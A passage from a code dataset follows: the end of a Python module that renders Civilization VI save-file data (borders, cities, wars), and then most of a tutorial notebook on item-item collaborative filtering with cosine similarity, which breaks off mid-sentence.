       else:\n                    cityCounts[usedCities[city[\"CityName\"]]] -= 1\n            self.cityCounts.append(cityCounts)\n\n    def calcRazedCitys(self):\n        self.razedCityLocs = []\n        for i, turn in enumerate(self.cityData):\n            razedCitysAtTurn = []\n            # For minor player ruins\n            for minor in self.minorOrigos:\n                if not self.playersAlive[i][minor]:\n                    loc = self.minorOrigos[minor]\n                    for cityNewer in turn[\"cities\"]:\n                        if loc == cityNewer[\"LocationIdx\"] and cityNewer[\"CivIndex\"] >= 0:\n                            break\n                    else:\n                        # No newer city exists -> razed\n                        razedCitysAtTurn.append(loc)\n            # For major player ruins\n            for idx, city in enumerate(turn[\"cities\"]):\n                if city[\"CivIndex\"] < 0:\n                    loc = city[\"LocationIdx\"]\n                    if idx + 1 >= len(turn[\"cities\"]):\n                        razedCitysAtTurn.append(loc)\n                        continue\n                    for cityNewer in turn[\"cities\"][idx+1:]:\n                        if loc == cityNewer[\"LocationIdx\"] and cityNewer[\"CivIndex\"] >= 0:\n                            break\n                    else:\n                        # No newer city exists -> razed\n                        razedCitysAtTurn.append(loc)\n            self.razedCityLocs.append(razedCitysAtTurn)\n\n\n    def calculateOtherStuff(self):\n        t0 = time.time()\n        for turnIdx, turn in enumerate(self.tileData):\n            goodyHutsAtTurn = []\n            for ii, tile in enumerate(turn[\"tiles\"]):\n                terrainType = tile[\"TerrainType\"]\n                featureType = tile[\"FeatureType\"]\n                GoodyHut = tile[\"GoodyHut\"]\n                try:\n                    if Features[GoodyHut][\"FeatureType\"] == \"GoodyHut\" or \\\n                            Features[GoodyHut][\"FeatureType\"] == \"BarbCamp\":\n                        goodyHutsAtTurn.append(Features[GoodyHut][\"color\"])\n                    else:\n                        goodyHutsAtTurn.append(emptyBrush)\n                except:\n                    print(\"Unknown feature: turnIdx: {}, x: {}, y: {}, goodyHut: {}\".format(turnIdx, tile[\"x\"], int(tile[\"y\"]), GoodyHut))\n                    goodyHutsAtTurn.append(emptyBrush)\n            self.goodyHuts.append(copy.copy(goodyHutsAtTurn))\n        print(\"Total time for goody huts / barb camps: {}\".format(time.time() - t0))\n\n    def calculateEnvColors(self):\n        t0 = time.time()\n        if len(self.tileData) != 0:\n            turn = self.tileData[0]\n            count = 0\n            for ii, tile in enumerate(turn[\"tiles\"]):\n                terrainType = tile[\"TerrainType\"]\n                featureType = tile[\"FeatureType\"]\n                try:\n                    if Features[featureType][\"FeatureType\"] == \"Pamukkale\":\n                        self.envColors.append(Features[featureType][\"color\"])\n                    elif (Terrains[terrainType][\"TerrainType\"] == \"Ocean\" or\n                            Terrains[terrainType][\"TerrainType\"] == \"Coast\"):\n                        if Features[featureType][\"FeatureType\"] == \"Ice\":\n                            self.envColors.append(Features[featureType][\"color\"])\n                        else:\n                            self.envColors.append(Terrains[terrainType][\"color\"])\n                    else:\n                        self.envColors.append(Terrains[terrainType][\"color\"])\n                except:\n                    count += 1\n                    print(\"errorCount: {}, x: {}, y: {}, terrainType: {}, featureType: {}\".format(count, tile[\"x\"], tile[\"y\"], terrainType, featureType))\n                    self.envColors.append(pg.mkBrush(pg.mkColor(np.zeros(3,))))\n        print(\"Total time for environment colors: {}\".format(time.time() - t0))\n\n    def calculateRiverColors(self, lw=4):\n        t0 = time.time()\n        if len(self.tileData) != 0:\n            turn = self.tileData[0]\n            for ii, tile in enumerate(turn[\"tiles\"]):\n                RiverBorders = tile[\"RiverBorders\"]\n                if RiverBorders > 0:\n                    RiverBitMap = tile[\"RiverBitMap\"]\n                    for ii in range(6):\n                        if RiverBitMap >> ii & 1:\n                            self.riverColors.append(riverPen)\n                        else:\n                            self.riverColors.append(emptyPen)\n                else:\n                    for jj in range(6):\n                        self.riverColors.append(emptyPen)\n        print(\"Total time for river colors: {}\".format(time.time() - t0))\n\n    def calculateCivHexas(self):\n        civNum = self.majorCivs + self.minorCivs\n        self.civHexaCounts = []\n        for turn in self.tileData:\n            civHexaCountsAtTurn = [0] * civNum\n            for ii, tile in enumerate(turn[\"tiles\"]):\n                playerID = getPlayerID(tile)\n                if 0 <= playerID < civNum:\n                    civHexaCountsAtTurn[playerID] += 1\n            self.civHexaCounts.append(civHexaCountsAtTurn)\n\n    def calcPlayersAlive(self):\n        playersNum = self.majorCivs + self.minorCivs\n        self.playersAlive = []\n        for hexaCounts, cityCounts in zip(self.civHexaCounts, self.cityCounts):\n            temp = [x > 0 for x in hexaCounts]\n            for i in range(self.majorCivs):\n                if temp[i]:\n                    continue\n                elif cityCounts[i] > 0:\n                    temp[i] = True\n            self.playersAlive.append(temp)\n        turns = len(self.playersAlive)\n        for i in range(playersNum):  # For each player\n            alive_from_start = False\n            for j in range(turns):  # Check when first alive\n                if self.playersAlive[j][i]:\n                    alive_from_start = True\n                if alive_from_start:  # Fill from beginning until first \"alive\"\n                    for k in range(j):\n                        self.playersAlive[k][i] = True\n                    break\n\n    def calculateBorderColors(self, lw=3, outsideBordersOnly=False, use_civ_colors=True, drawWaterBorders=True):\n        if use_civ_colors:\n            map_civ_colors(self.leaderData[0])\n        t0 = time.time()\n        self.borderColors = []\n        self.borderColorsInner = []\n        self.borderColorsSC = []\n        for turn in self.tileData:\n            borderColorsAtTurn = []\n            borderInnerColorsAtTurn = []\n            borderSCColorsAtTurn = []\n            for ii, tile in enumerate(turn[\"tiles\"]):\n                if not drawWaterBorders:\n                    terrainType = tile[\"TerrainType\"]\n                    try:\n                        if (Terrains[terrainType][\"TerrainType\"] == \"Ocean\" or\n                                Terrains[terrainType][\"TerrainType\"] == \"Coast\"):\n                            if outsideBordersOnly:\n                                for jj in range(6):\n                                    borderColorsAtTurn.append(emptyPen)\n                                    borderInnerColorsAtTurn.append(emptyPen)\n                                    borderSCColorsAtTurn.append(emptyPen)\n                            else:\n                                borderColorsAtTurn.append(emptyBrush)\n                                borderInnerColorsAtTurn.append(emptyBrush)\n                                borderSCColorsAtTurn.append(emptyBrush)\n                            continue\n                    except:\n                        print(\"drawWaterBorders failure ...\")\n                        pass\n                playerID = getPlayerID(tile)\n                if playerID >= 0:\n                    if outsideBordersOnly:\n                        for neighbour in self.neighbours_list[ii]:\n                            if neighbour < self.X*self.Y:\n                                neighbourID = getPlayerID(turn[\"tiles\"][neighbour])\n                                if neighbourID == playerID:\n                                    if not drawWaterBorders:\n                                        terrainType = turn[\"tiles\"][neighbour][\"TerrainType\"]\n                                        if (Terrains[terrainType][\"TerrainType\"] == \"Ocean\" or\n                                                Terrains[terrainType][\"TerrainType\"] == \"Coast\"):\n                                            borderColorsAtTurn.append(civColorsPen[playerID])\n                                            borderInnerColorsAtTurn.append(civColorsPenInner[playerID])\n                                            if 255 > playerID >= self.majorCivs:\n                                                borderSCColorsAtTurn.append(blackPen)\n                                            else:\n                                                borderSCColorsAtTurn.append(emptyPen)\n                                        else:\n                                            borderColorsAtTurn.append(emptyPen)\n                                            borderInnerColorsAtTurn.append(emptyPen)\n                                            borderSCColorsAtTurn.append(emptyPen)\n                                    else:\n                                        borderColorsAtTurn.append(emptyPen)\n                                        borderInnerColorsAtTurn.append(emptyPen)\n                                        borderSCColorsAtTurn.append(emptyPen)\n                                else:\n                                    borderColorsAtTurn.append(civColorsPen[playerID])\n                                    borderInnerColorsAtTurn.append(civColorsPenInner[playerID])\n                                    if 255 > playerID >= self.majorCivs:\n                                        borderSCColorsAtTurn.append(blackPen)\n                                    else:\n                                        borderSCColorsAtTurn.append(emptyPen)\n                            else:\n                                borderColorsAtTurn.append(civColorsPen[playerID])\n                                borderInnerColorsAtTurn.append(civColorsPenInner[playerID])\n                                if 255 > playerID >= self.majorCivs:\n                                    borderSCColorsAtTurn.append(blackPen)\n                                else:\n                                    borderSCColorsAtTurn.append(emptyPen)\n                    else:\n                        borderColorsAtTurn.append(civColorsBrush[playerID])\n                        borderInnerColorsAtTurn.append(emptyBrush)  # no inner\n                        borderSCColorsAtTurn.append(emptyBrush)  # no inner\n                else:\n                    if outsideBordersOnly:\n                        for jj in range(6):\n                            borderColorsAtTurn.append(emptyPen)\n                            borderInnerColorsAtTurn.append(emptyPen)\n                            borderSCColorsAtTurn.append(emptyPen)\n                    else:\n                        borderColorsAtTurn.append(emptyBrush)\n                        borderInnerColorsAtTurn.append(emptyBrush)\n                        borderSCColorsAtTurn.append(emptyBrush)\n            self.borderColors.append(borderColorsAtTurn)\n            self.borderColorsInner.append(borderInnerColorsAtTurn)\n            self.borderColorsSC.append(borderSCColorsAtTurn)\n        print(\"Total time for border colors: {}\".format(time.time() - t0))\n\n    def calculateCityStateOrigos(self):\n        whined = False\n        t0 = time.time()\n        # self.borderColorsInner = []\n        self.minorOrigos = {}\n        for turn in self.tileData:\n            for ii, tile in enumerate(turn[\"tiles\"]):\n                playerID = getPlayerID(tile)\n                if playerID >= self.majorCivs and playerID not in self.minorOrigos:  # Minor only and not found yet\n                    neighbour_count_inv = 6\n                    found_orig = True\n                    for neighbour in self.neighbours_list[ii]:  # If more than 4 are owned (or all actually)\n                        if neighbour < self.X*self.Y:\n                            neighbourID = getPlayerID(turn[\"tiles\"][neighbour])\n                            if neighbourID != playerID:\n                                neighbour_count_inv -= 1\n                        if neighbour_count_inv <= 3:\n                            found_orig = False\n                            break\n                    if found_orig:\n                        if playerID not in self.minorOrigos and playerID != FREE_CITY_IDX:\n                            self.minorOrigos[playerID] = ii\n                        else:\n                            if not whined:\n                                whined = True\n                                print(f\"Warning: CityState(s) location calculation possibly failed! Affects visually only!\\n\"\n                                      f\"This happens if not starting from turn #1 (or maybe some mod)!\")\n        print(\"Total time for city state origos: {}\".format(time.time() - t0))\n\n    def calcIncrementalWars(self):\n        used_wars = []\n        self.incWars = []\n        for turn in self.wars:\n            new_wars = []\n            for war in turn:\n                war_copy = {\"Att\": war[\"Att\"], \"Def\": war[\"Def\"], \"Turn\": war[\"Turn\"]}\n                war_inverse = {\"Att\": war[\"Def\"], \"Def\": war[\"Att\"], \"Turn\": war[\"Turn\"]}\n                if war_copy not in used_wars and war_inverse not in used_wars:\n                    new_wars.append(war_copy)\n                    used_wars.append(war_copy)\n            self.incWars.append(new_wars)\n\n    def findMinorAllies(self, pIdx, turnIdx):\n        diploAtTurnIdx = self.diploStates[turnIdx]\n        pCount = self.majorCivs + self.minorCivs\n        allies = []\n        for minor in range(self.majorCivs, pCount):\n            if diploAtTurnIdx[pIdx][minor][\"state\"][:3] == \"MAX\":\n                allies.append(minor)\n        return allies\n\n    def calcDiploStateWarPeaceDiff(self):\n        pCount = self.majorCivs + self.minorCivs\n        # Fixing invisible minorCivs with diploStates, TODO: might be better to move this to somewhere else\n        M = len(max(self.diploStates, key=len))\n        if 62 in self.diploStates[0]:\n            M -= 1\n        if M < pCount:\n            self.minorCivs = M - self.majorCivs\n            pCount = M\n        diploDiffsWars = np.zeros((pCount, pCount, len(self.diploStates)), dtype=np.int8)\n        for idx, diploAtTurnIdx in enumerate(self.diploStates):\n            pCount = len(diploAtTurnIdx)  # TODO: Remove FREE_CITIES from diploStates in first place?\n            if 62 in diploAtTurnIdx:  # Remove FREE_CITIES from turn player count at turn also\n                pCount -= 1\n            for p1 in range(pCount):\n                for p2 in range(pCount):\n                    if diploAtTurnIdx[p1][p2][\"state\"][:3] == \"WAR\" or diploAtTurnIdx[p1][p2][\"state\"][-3:] == \"WAR\":\n                        diploDiffsWars[p1][p2][idx] = 1\n                        # MAX_INFLUENCE PATRON\n        self.warPeaceDiffTable = np.diff(diploDiffsWars)  # starting from turn \"2\" (idx - 1)\n\n\n    def getOwner(self, turnIdx, x, y, language=None):\n        civ_text = \"\"\n        civs = self.civData[0]\n        leaders = self.leaderData[0]\n        turn = self.tileData[turnIdx]\n        if 0 < x <= self.X and 0 < y <= self.Y:\n            tile = turn[\"tiles\"][y * self.X + x]\n            playerID = getPlayerID(tile)\n            if playerID >= 0:\n                if playerID < len(leaders):\n                    leader = leaders[playerID]\n                    leader_name, cityState = parseLeader(leader)\n                    colorhex = ''.join([format(int(c), '02x') for c in civColors[playerID]])\n                    colorhexInner = ''.join([format(int(c), '02x') for c in civColorsInner[playerID]])\n                    civ = civs[playerID]\n                    civ_name = \" \".join(x.capitalize() for x in civ.split(\"_\"))\n\n                    civ_name, leader_name = self.languageChanger(language, civ, leader, cityState, civ_name,\n                                                                 leader_name)\n\n                    civ_text += \"<font color=#\" + colorhex + \">\" + civ_name + \"</font><br>\"\n                    civ_text += \"<font color=#\" + colorhexInner + \">\" + leader_name + \"</font>\"\n                elif playerID == 62:  # Free City\n                    civ_text += \"Free City\"\n                elif playerID == 255:\n                    civ_text += \"Coastal Flood\"\n        return civ_text\n\n    def calcMajorCivs(self):\n        leaders = self.leaderData[0]\n        count = 0\n        for leader in leaders:\n            if leader[:10] == \"MINOR_CIV_\":\n                break\n            count += 1\n        self.majorCivs = count\n        self.minorCivs = len(leaders) - count\n        self.minorCivTypes = {}\n        for ii in range(count, len(leaders)):\n            civ_name = \" \".join(x.capitalize() for x in leaders[ii][10:].split(\"_\"))\n            try:\n                self.minorCivTypes[ii] = CS_TYPES[civ_name]\n            except:\n                self.minorCivTypes[ii] = \"Unknown\"\n\n    def languageChanger(self, language, civ, leader, cityState, civ_name, leader_name):\n        if language != \"en_EN\" and language is not None:\n            if civ in CIV_NAMES:\n                if language in CIV_NAMES[civ]:\n                    civ_name = CIV_NAMES[civ][language]\n            if leader in CIV_LEADER_NAMES and not cityState:\n                if language in CIV_LEADER_NAMES[leader]:\n                    leader_name = CIV_LEADER_NAMES[leader][language]\n        return civ_name, leader_name\n\n    def parseCivNames(self, language=None):\n        self.calculatingCivNames = True\n        civs = self.civData[0]\n        leaders = self.leaderData[0]\n        self.civ_text = []\n        for i, civ in enumerate(civs):\n            colorhex = ''.join([format(int(c), '02x') for c in civColors[i]])\n            colorhexInner = ''.join([format(int(c), '02x') for c in civColorsInner[i]])\n            leader = leaders[i]\n            leader_name, cityState = parseLeader(leader)\n            civ_name = \" \".join(x.capitalize() for x in civ.split(\"_\"))\n\n            civ_name, leader_name = self.languageChanger(language, civ, leader, cityState, civ_name, leader_name)\n\n            # \\u2b22 hexa\n            if cityState:\n                colorhexMinor = ''.join([format(int(c), '02x') for c in civColorsMinor[i]])\n                try:\n                    symbol = CS_UNICODE_MAP[self.minorCivTypes[i]]\n                except:\n                    symbol = \"&nbsp;\\u2b22&nbsp;&nbsp;\"\n                self.civ_text.append(\"<font color=#\" + colorhexMinor + \">\" + symbol + \"</font>\" +\n                                     \"<font color=#\" + colorhex + \">\" + civ_name + \"</font> \" +\n                                     \"<font color=#\" + colorhexInner + \">\" + \"CS \" + \"</font><br>\")\n            else:\n                self.civ_text.append(\"<font color=#\" + colorhex + \">\" + civ_name + \"</font> - \" +\n                                     \"<font color=#\" + colorhexInner + \">\" + leader_name + \"</font><br>\")\n        self.calculatingCivNames = False\n\n    def getCivNames(self, turnIdx):\n        playersRemaining = self.playersAlive[turnIdx]\n        civ_text = \"\"\n        if not self.calculatingCivNames:\n            for i, alive in enumerate(playersRemaining):\n                # First minor civ\n                if i == self.majorCivs:\n                    civ_text += \"<br>\"\n                if alive:\n                    civ_text += self.civ_text[i]\n        return civ_text\n\n    def calculateCityColors(self, useInnerAsCityColor=True, useMinorType=False):\n        t0 = time.time()\n        cityColorsAtTurnEmpty = [emptyBrush] * self.X*self.Y\n        self.cityColors = []\n        for ii, turn in enumerate(self.cityData):\n            cityColorsAtTurn = cityColorsAtTurnEmpty.copy()\n            for minor in self.minorOrigos:\n                if self.playersAlive[ii][minor] and ii != 0:\n                    if useMinorType:\n                        cityColorsAtTurn[self.minorOrigos[minor]] = civColorsBrushMinor[minor]\n                    else:\n                        cityColorsAtTurn[self.minorOrigos[minor]] = civColorsBrushInner[minor]\n            for city in turn[\"cities\"]:\n                if city[\"CivIndex\"] >= 0:\n                    if useInnerAsCityColor:\n                        cityColorsAtTurn[city[\"LocationIdx\"]] = civColorsBrushInner[city[\"CivIndex\"]]\n                    else:\n                        cityColorsAtTurn[city[\"LocationIdx\"]] = civColorsBrush[city[\"CivIndex\"]]\n            self.cityColors.append(cityColorsAtTurn)\n        print(\"Total time for city colors: {}\".format(time.time() - t0))\n\n    def calculateMinorCityColors(self):\n        t0 = time.time()\n        cityColorsAtTurnEmpty = [emptyBrush] * self.X*self.Y\n        self.minorCityColors = []\n        for ii, turn in enumerate(self.cityData):\n            cityColorsAtTurn = cityColorsAtTurnEmpty.copy()\n            for minor in self.minorOrigos:\n                if self.playersAlive[ii][minor]:\n                    cityColorsAtTurn[self.minorOrigos[minor]] = civColorsBrushMinor[minor]\n            self.minorCityColors.append(cityColorsAtTurn)\n        print(\"Total time for minor city colors: {}\".format(time.time() - t0))\n\n\n\n    def getMapSize(self):\n        if len(self.tileData) != 0:\n            return self.tileData[0][\"mapSize\"][0], self.tileData[0][\"mapSize\"][1]\n        else:\n            return None\n\n    def getTurnCount(self):\n        return len(self.tileData)\n\n    def index2XY(self, index):\n        y = int(np.floor(index / self.X))\n        x = int(index % self.X)\n        if 0 <= y < self.Y:\n            return x, y\n        else:\n            return self.X, self.Y\n\n    #   5   0\n    # 4   x   1\n    #   3   2\n    def getNeighbourIndexes(self, index):\n        neighbours = np.array([index]*6)\n        nanvalue = self.X*self.Y\n        x, y = self.index2XY(index)\n\n        if y % 2 == 0:\n            offsets = np.array([self.X, 1, -self.X, -self.X-1, -1, self.X-1])\n        else:\n            offsets = np.array([self.X+1, 1, -self.X+1, -self.X, -1, self.X])\n\n        neighbours += offsets\n        if y == self.Y - 1:\n            # Top row, -> no 0, 5 neighbours\n            neighbours[0] = nanvalue\n            neighbours[5] = nanvalue\n        elif y == 0:\n            # Bottom row, -> no 2, 3 neighbours\n            neighbours[2] = nanvalue\n            neighbours[3] = nanvalue\n        if x % self.X == 0:\n            # First column, [4] += self.X\n            neighbours[4] += self.X\n            if (0 < y < self.Y - 1) and (y % 2 == 0):\n                # If not top/bottom row, and even row -> [3/5] += self.X\n                neighbours[3] += self.X\n                neighbours[5] += self.X\n        elif x % self.X == self.X - 1:\n            # Last column, [1] -= self.X\n            neighbours[1] -= self.X\n            if (0 < y < self.Y - 1) and (y % 2 == 1):\n                # If not top/bottom row, and uneven row -> [0/2] -= self.X\n                neighbours[0] -= self.X\n                neighbours[2] -= self.X\n        return neighbours\n\n    def randomCivColors(self, N):\n        oldColors = self.pColors\n        self.pColors = np.random.rand(N, 3)\n        for borderColorsAtTurn in self.borderColors:\n            for ii, color in enumerate(borderColorsAtTurn):\n                idx = np.where((oldColors[:, 0] == color[0]) & (oldColors[:, 1] == color[1]) & (oldColors[:, 2] == color[2]))[0]\n                if len(idx) > 0:\n                    borderColorsAtTurn[ii] = np.append(self.pColors[idx], 0.9)\n\n\n# Python program to detect cycle\n# in a graph\nclass Graph:\n    def __init__(self, vertices):\n        self.graph = defaultdict(list)\n        self.V = vertices\n\n    def addEdge(self, u, v):\n        self.graph[u].append(v)\n\n    def isCyclicUtil(self, v, visited, recStack):\n\n        # Mark current node as visited and\n        # adds to recursion stack\n        visited[v] = True\n        recStack[v] = True\n\n        # Recur for all neighbours\n        # if any neighbour is visited and in\n        # recStack then graph is cyclic\n        for neighbour in self.graph[v]:\n            if visited[neighbour] == False:\n                if self.isCyclicUtil(neighbour, visited, recStack) == True:\n                    return True\n            elif recStack[neighbour] == True:\n                return True\n\n        # The node needs to be poped from\n        # recursion stack before function ends\n        recStack[v] = False\n        return False\n\n    # Returns true if graph is cyclic else false\n    def isCyclic(self):\n        visited = [False] * self.V\n        recStack = [False] * self.V\n        for node in range(self.V):\n            if visited[node] == False:\n                if self.isCyclicUtil(node, visited, recStack) == True:\n                    return True\n        return False\n", "meta": {"hexsha": "564491eb02316a07cd1d63b5839835cc47a49afd", "size": 51612, "ext": "py", "lang": "Python", "max_stars_repo_path": "saveFileHandler/gameDataHandler.py", "max_stars_repo_name": "SamuelH91/Civ6EGRM", "max_stars_repo_head_hexsha": "7645eed1bacb3b56aab345c3e8a1524035beb681", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 12, "max_stars_repo_stars_event_min_datetime": "2020-09-28T17:50:39.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-10T04:54:51.000Z", "max_issues_repo_path": "saveFileHandler/gameDataHandler.py", "max_issues_repo_name": "SamuelH91/Civ6EGRM", "max_issues_repo_head_hexsha": "7645eed1bacb3b56aab345c3e8a1524035beb681", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 8, "max_issues_repo_issues_event_min_datetime": "2021-01-04T09:01:10.000Z", "max_issues_repo_issues_event_max_datetime": "2022-01-13T02:59:52.000Z", "max_forks_repo_path": "saveFileHandler/gameDataHandler.py", "max_forks_repo_name": "SamuelH91/Civ6EGRM", "max_forks_repo_head_hexsha": "7645eed1bacb3b56aab345c3e8a1524035beb681", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 41.8249594814, "max_line_length": 153, "alphanum_fraction": 0.5397775711, "include": true, "reason": "import numpy", "num_tokens": 12956, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5506073655352404, "lm_q2_score": 0.1311732288565291, "lm_q1q2_score": 0.07222494596944466}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# In the [last notebook](https://github.com/caiomiyashiro/RecommenderSystemsNotebooks/blob/master/Month%202%20Part%20I%20-%20User%20User%20Collaborative%20Filtering.ipynb), we took a look at the Nearest Neighboor User User CF, a form of recommender system that looked at the similarity between users to define which item should be suggested to a new customer.\n# \n# We saw the benefits from User User CF when comparing it to non personalised and content based recommendations, but we also saw that it comes with one difficulty.\n# \n# - It doesn't scale well. Even in a big e-commerce dataset, the amount of intersecting items between 2 users is not as big as it could be when User User CF was created. Because of this, when a user bought an item that intersected now with another different customer, the new similarity could drastically change, causing the system's owners to recalculate the new similarities very often.\n#   \n# - If they don't update the matrix often, they can also lose profits over it because it wouldn't map the user's short term interests which, on the internet, can vary quite a lot.\n# \n# All in all, short term interest and sparse mutual interest space make the User User CF inapt for high scale companies.\n# \n# # Item Item Collaborative Filtering (CF)\n# \n# [Item Item CF](https://en.wikipedia.org/wiki/Item-item_collaborative_filtering) was created by ([Sarwar et all, 1998](https://patentimages.storage.googleapis.com/41/80/fb/07d4d9e61e7431/US6266649.pdf)) in partneship with Amazon in order to fix the problems with the User User CF. In Item Item perspective, as the name suggests, changes the perspective from User centered to a Item centered view, *i.e.*, instead of having a User User similarity matrix, they started to use a item item similarity matrix. Then, when a user $u$ bought and liked an item $i_{1}$ and $i_{1}$ was similar to item $i_{2}$, then we predicted that $u$ would also like $i_{2}$. Take a look at the image below:\n# \n# <img src=\"images/notebook5_image1.jpeg\" width=\"500\">\n# \n# Why this simple change in perspective helped to solve the inneficiency problems present in the User User CF?\n# \n# By considering an enviroment of a big e-commerce company, we end with the number of users >> number of items.   \n# In this case, even if a single user hasn't given many reviews, the chances are that many users have given a review to a specific item.\n# By having a big number of reviews, an item relationship to other items doesn't change too much by receiving a few more reviews, *i.e.*, item item relationship are more stable. Therefore, by being more stable, the similarity matrix doesn't have to be recalculated often, as in the User User CF.\n#   \n# An extra perfomance improvement comes also from the prediction calculation. In the Item Item CF, a new prediction for a user $u$ for a product $p$ is made by retrieving the items similarities and calculating a weighted average. The number of neighboors for this calculation is only the item that $u$ has liked or bought in the past and this number is often small enought. Therefore, we don't need to search the big user user similarity matrix to find the best $k$ neighboors.\n# \n# # Item Item Steps\n# \n# As always, we're going to work with one of the datasets from the [Coursera's Specialization on Recommender Systems](https://www.coursera.org/specializations/recommender-systems). This dataset is from the last week in the course of [Nearest Neighboors CF](https://www.coursera.org/learn/collaborative-filtering) for Item Item CF. Dataset is [here](https://d396qusza40orc.cloudfront.net/umntestsite/on-demand_files/A5/Assignment%205.xls) (Coursera's page) and [here](https://github.com/caiomiyashiro/RecommenderSystemsNotebooks/blob/master/data/Item%20Item%20Collaborative%20Filtering%20-%20Ratings.csv) (personal Github account).\n#   \n# The steps taken to evaluate and recommend are similar to User User CF, with some different calculations in the prediction step, as we've said.\n# \n# - Load traditional input - User Item Review dataset\n# - Create similarity matrix\n# - Make predictions\n# \n# Lets go!\n# \n# ## Example Dataset\n# \n# The dataset is a matrix with size 25 users x 25 movies and each cell $c_{u,m}$ contains the rating user $u$ gave to movie $m$. If user $u$ didn't rate movie $m$, the cell is empty. As the float values were stored with commas and consequently were being casted as strings, I had to process it a little bit to replace the commas for dots and then convert the column to floats\n\n# In[1]:\n\n\nimport pandas as pd\nimport numpy as np\n\n\n# In[2]:\n\n\ndf = pd.read_csv('data/Item Item Collaborative Filtering - Ratings.csv', index_col=0, nrows=20)\n\ndf.drop('Mean', axis=1, inplace=True) # remove mean column that comes at the end\n\n# replace commas for dots and convert previous string column into float\ndef processCol(col):\n    return col.astype(str).apply(lambda val: val.replace(',','.')).astype(float)\ndf = df.apply(processCol)\n\nprint('Dataset shape: ' + str(df.shape))\ndf.head()\n\n\n# ## Create Similarity Matrix\n# \n# \n# ### Similarity Function\n# \n# As for the User User CF, we have a few possibilities to choose from when deciding how we're going to define if an item is similar to another item. Again, ([Herlocker et all, 2002](https://grouplens.org/site-content/uploads/evaluating-TOIS-20041.pdf)) did an analysis on the performance of these metrics on Item Item CF and realised that, for this case, the [cosine similarity](https://en.wikipedia.org/wiki/Cosine_similarity) was the best performant metric. So we're going with them this time. On the **next notebook**, we try to analyse these metrics and see why it performs better in certain cases and others not.\n# \n# \n# ## Calculating User User Similarity with Cosine Similarity:\n# \n# One important point here is on the calculation of the denominator of the cosine similarity. Even though we make the dot product only with values existing in both arrays, the norm of the individual vectors are considering all values, and not the intersections between array1 and array2.\n\n# In[3]:\n\n\ndef cos_similarity(item1, item2):\n    item1Values = ~np.isnan(item1)\n    item2Values = ~np.isnan(item2)\n    allValues = np.logical_and(item1Values,item2Values) # get only existent elements of both vectors\n    return np.dot(item1[allValues], item2[allValues])/(np.linalg.norm(item1[item1Values]) * np.linalg.norm(item2[item2Values]))\n\ndef pre_cos_similarity(item1, df):\n    return df.apply(lambda item2: cos_similarity(item1, item2))\n\ndf_corr = df.apply(lambda item1: pre_cos_similarity(item1, df))\ndf_corr.head()\n\n\n# ## Predictions Calculation\n# \n# By now we already know which items are more similar to each other. This will help us when predicting a new rating, by giving higher weights for more similar items than other the user has bough. \n#   \n# The way we're going to calculate the new predictions is the same we used for User User CF, *i.e.*, a weighted average:\n# \n# $$\\frac{\\sum_{n=1}^{k} r_{n}w_{n}}{\\sum_{n=1}^{k} w_{n}}$$\n#   \n# The difference is that we don't have the neighboors anymore, so the $n$ in the summation is considering **all** the items user $u$ has rated and $w$ is still the similarities, but now *item similarity*.\n\n# In[4]:\n\n\ndef predictRating(userRatings, itemSimilarity):\n    userHasRating = ~np.isnan(userRatings)\n    return np.dot(userRatings[userHasRating], itemSimilarity[userHasRating])/np.sum(itemSimilarity[userHasRating])\n\ndef pre_predictRating(userRatings, df_corr):\n    return df_corr.apply(lambda itemSimilarity: predictRating(userRatings, itemSimilarity))\n\npredictions = df.apply(lambda userRatings: pre_predictRating(userRatings, df_corr), axis=1)\npredictions.head()    \n\n\n# ## Mean Normalised Weighted Average\n# \n# As in the same way of the User User CF, we can calculate predictions using the absolute value of the reviews or from the mean centralised values of it. The advantages are the same: consider the scale variability of reviewers when attributing a final score for a item of interest:\n# \n# $$\\bar{r_{u}} + \\frac{\\sum_{n=1}^{k} (r_{n} - \\bar{r_{n}})w_{n}}{\\sum_{n=1}^{k} w_{n}}$$\n# \n# We took the same function as above, but added two extra parameters:\n# - $userMeanRating$: mean average ratings for a specific user\n# - $neighboorsMeanRating$: mean average rating for all the nearest neighboors for a specific user\n\n# In[5]:\n\n\n# mean normalise\ndef subtractFromMean(col, meanCol):\n    result = np.array([np.nan] * col.shape[0])\n    isValidValue = ~np.isnan(col)\n    result[isValidValue] = col.values[isValidValue] - meanCol.values[isValidValue]\n    return result\nuserMeanRatings = df.apply(np.mean, axis=1)\ndf_ratings_norm = df.apply(lambda col: subtractFromMean(col, userMeanRatings))\n\n# similarity matrix\ndf_corr_norm = df_ratings_norm.apply(lambda item1: pre_cos_similarity(item1, df_ratings_norm))\n\n\n# ### Remove negative correlations\n# \n# In this example, we are replacing the negative correlations by 0, as we can interpret as a maximum weight for unwanted items:\n# \n\n# In[6]:\n\n\ndef replaceNegative(col):\n    col[col < 0] = 0\n    return col\ndf_corr_norm2 = df_corr_norm.apply(replaceNegative)\n\n\n# ### Predict!\n\n# In[7]:\n\n\npredictions_norm = df.apply(lambda userRatings: pre_predictRating(userRatings, df_corr_norm2), axis=1)\npredictions_norm.head() \n\n\n# * I didn't quite understand why we didn't use the not normalised item's ratings in this calculation. Ideally, we would use the mean centered user ratings as well..\n\n# # Comparison Between Approaches\n# \n# The comparison follows the same guidelines we used when evaluating the User User CF. \n# \n# \n# # Final Considerations on User User CF\n# \n# When we mean centered the user's rating for the User User CF, the objective was clear, we wanted to take into account that users rate in different parts of the scale. But what about mean centering for the Item Item CF? This evaluation I'll leave it to the next notebook, where we evaluate and compare the main metrics used for similarity calculation in a CF system.\n# \n# -- \n# \n# Item Item CF brings efficiencies steps forward from the User User CF schema. With it, we bring personalised recommendations and in a way that is computationally efficient to scale for giant e-commerce companies, such as Amazon or Netflix. But Item Item CF isn't a gold system, where we can implement it and always get good results. It has a few premisses:\n# \n# - First, it has the premisse that number of users >> number of items. This is a prerequisite to have stable entities, items in this case, and doesn't need to recalculate the similarity matrix often, as in the User User CF.\n#   \n#   \n# - Secondly, and this is an interesting feature, Item Item CF is better when the item ratings are stable, *i.e.*, they have lots of evaluations. This means that the user's items are probably going to have a lot of influence from these popular items and, at the end, receiving popular items recommendations. This is good when you want to 